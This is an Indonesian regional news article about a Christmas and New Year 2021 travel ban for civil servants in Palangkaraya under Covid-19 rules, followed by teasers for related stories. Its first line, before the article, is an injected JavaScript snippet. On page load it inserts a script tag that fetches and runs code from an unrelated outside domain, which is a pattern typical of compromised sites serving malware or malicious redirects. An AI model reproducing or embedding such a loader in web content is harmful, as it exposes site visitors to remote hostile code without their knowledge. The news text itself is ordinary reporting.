(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PALANGKARAYA – Terhitung 24 Desember 2021 sampai 2 Januari 2022, Aparatur Sipil Negara (ASN) dilarang kegiatan bepergian ke luar daerah atau cuti bersama.
Aturan itu tertuang dalam Instruksi Mendagri (Inmendagri) Nomor 66 tahun 2021 tentang pencegahan dan penanggulangan Covid-19 pada saat natal dan tahun baru. Serta surat edaran Menpan-RB nomor 26 tahun 2021 tentang aturan bagi ASN untuk tidak mudik.
“Kami harap agar aturan itu bisa dipatuhi, sebab apabila ada ASN yang nekad melanggar, maka yang bersangkutan bisa dikenakan sanksi disiplin,” kata Anggota Komisi A DPRD Palangkaraya, Noorkhalis Ridha.
Sebab aturan pembatasan yang dikeluarkan itu, sebagai upaya bersama mencegah penularan virus corona, karena bisa saja berpotensi meningkat karena perjalanan orang dalam masa pandemi saat ini.
Baca juga : Palangkaraya Zona Hijau, Wakil Rakyat Ruselita Ingatkan Tetap Prokes
Jika mengacu aturan maka ASN hanya dapat bepergian ke luar kota pada saat kondisi mendesak atau dalam keadaan terpaksa. Itupun harus diketahui dan seizin pejabat di lingkungannya terlebih dahulu.
Namun hendaknya ASN di lingkungan Pemerintah Kota Palangkaraya, benar-benar mematuhi aturan tersebut, sehingga tidak mendapat sanksi dengan menunda perjalanan sampai kondisi Indonesia, terutama Kalteng sudah dinyatakan bebas dari Covid-19. (kanalkalimantan.com/tri)
Reporter : tri
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Lima buah formulir pendaftaran diambil oleh lima orang bakal calon Pilkada 2024… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hj Raudatul Jannah alias Acil Odah untuk maju pada kontestasi Pemilihan… Read More
KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Golkar Kota Banjarbaru membuka pendaftaran bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More
Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More
This website uses cookies.